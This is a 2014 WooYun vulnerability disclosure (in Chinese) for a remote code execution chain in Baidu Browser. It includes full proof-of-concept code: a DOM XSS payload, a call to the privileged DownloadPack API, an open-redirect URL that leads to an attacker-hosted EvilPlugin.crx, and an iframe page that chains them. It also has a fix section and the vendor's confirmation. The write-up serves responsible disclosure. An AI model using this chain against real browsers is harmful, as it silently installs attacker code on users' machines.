当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-081309

漏洞标题：百度浏览器远程命令执行四

相关厂商：百度

漏洞作者： gainover

提交时间：2014-10-30 09:25

修复时间：2015-01-28 09:26

公开时间：2015-01-28 09:26

漏洞类型：远程代码执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-30： 细节已通知厂商并且等待厂商处理中
2014-10-30： 厂商已经确认，细节仅向厂商公开
2014-11-02： 细节向第三方安全合作伙伴开放
2014-12-24： 细节向核心白帽子及相关领域专家公开
2015-01-03： 细节向普通白帽子公开
2015-01-13： 细节向实习白帽子公开
2015-01-28： 细节向公众公开

简要描述：

轻轻的我来了，正如我轻轻的抖。
版本又更新了，但漏洞却没有走。
最新版本（6.5.0.50459）,另一个某API虽然做出限制，但限制依然宽松，结合一些乌云上公开但未修复的鸡肋，可轻松绕过限制导致远程命令执行缺陷。

详细说明：

1. 首先拿出前面在xapp.baidu.com下扫荡出的一个DOM XSS

http://xapp.baidu.com/browserextension/single/tieba/tiebarslidebar/v_6-0/tiebaslidebar-login-confirm.html#!f=aaaa&uid=vvvvv&uname=<img src=1 onerror=alert(1)>


恩，标准的DOM XSS～
2. 对 《百度浏览器远程命令执行》中所使用的AppService.AppMarket.DownloadPack API进行再次分析，发现如果对 AppService.AppMarket.DownloadPack 的参数 中 ID指定为 某一个已知安装的APP ID，则不会有安装提示，即使update值为false，例如：

window.external.StartRequest(222,"AppService.AppMarket.DownloadPack","(function(id,res){console.log(res)})","{\"ID\":\"Silenter\",\"UPDATE\":\"false\",\"URL\":\"http://dlsw.br.baidu.com/49411271abae81764cf268983c95d9d7.crx\"}",window,"");


3. 然后相比第一次，这一次，开发人员对 URL参数进行了判断，判断要求如下：
A. URL必须为*.baidu.com域名下的资源
B. URL必须为 .crx结尾
4. 这种限制显然过于宽松， URL地址可以轻松被一些方式绕过：比如在baidu.com域名下上传资源，但是要找到这样的点不太容易，但是还有一种更简单的办法，就是找一个baidu.com域下的302跳转，跳到自己的资源地址。那么，302跳转好找么？
5. 嗯，我都懒得去百度GOOGLE搜索了，直接在乌云搜索“百度 跳转”，因为URL跳转什么的经常不被重视哇，所以估计还有没修好的。
于是，很顺利的搜索到以下漏洞： WooYun: 百度url跳转及反射型xss
《百度url跳转及反射型xss》
公开时间： 2014-08-10 19:10
该漏洞已经公开，但并未修复。
6. 根据以上漏洞信息，构建以下URL跳转：

http://newsletter.baidu.com/u.html?stime=1403762195&uid=baidu&eid=1309383&[email protected]&tlid=259&stid=1672&thid=259&url=IzEjaHR0cDovLzE5Mi4xNjguMS4xMDUvRXZpbFBsdWdpbi5jcng=&.crx


该URL会跳转到 http://192.168.1.105/EvilPlugin.crx, 其中URL里的 &.crx是为了满足步骤3里所描述的判断规则。
7. 因此不难构造出漏洞利用代码：

window.external.StartRequest(222,"AppService.AppMarket.DownloadPack","(function(id,res){console.log(res)})","{\"ID\":\"Silenter\",\"UPDATE\":\"false\",\"URL\":\"http://newsletter.baidu.com/u.html?stime=1403762195&uid=baidu&eid=1309383&[email protected]&tlid=259&stid=1672&thid=259&url=IzEjaHR0cDovLzE5Mi4xNjguMS4xMDUvRXZpbFBsdWdpbi5jcng=&.crx\"}",window,"");


8. 利用xapp.baidu.com下的XSS调用以上代码：

<html>
<head>
</head>
<body>
	<iframe src='http://xapp.baidu.com/browserextension/single/tieba/tiebarslidebar/v_6-0/tiebaslidebar-login-confirm.html#!f=aaaa&uid=vvvvv&uname=<img src=1 onerror=eval(window.name)>' name='window.external.StartRequest(222,"AppService.AppMarket.DownloadPack","(function(id,res){console.log(res)})","{\"ID\":\"Silenter\",\"UPDATE\":\"false\",\"URL\":\"http://newsletter.baidu.com/u.html?stime=1403762195&uid=baidu&eid=1309383&[email protected]&tlid=259&stid=1672&thid=259&url=IzEjaHR0cDovLzE5Mi4xNjguMS4xMDUvRXZpbFBsdWdpbi5jcng=&.crx\"}",window,"");'></iframe>
</body>
</html>


9. 运行代码效果如下：

1.jpg


任意打开一个网页后，执行calc

2.jpg

漏洞证明：

演示视频：
http://v.youku.com/v_show/id_XODE0NDUwNjY4.html
密码：
wooyuncmd

修复方案：

1. 修复DOM XSS
http://xapp.baidu.com/browserextension/single/tieba/tiebarslidebar/v_6-0/tiebaslidebar-login-confirm.html#!f=aaaa&uid=vvvvv&uname=<img src=1 onerror=alert(1)>
2. 继续修复 AppService.AppMarket.DownloadPack 的安装判断。

版权声明：转载请注明来源 gainover@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-10-30 21:38

厂商回复：

感谢提交，已通知业务部门处理

最新状态：

暂无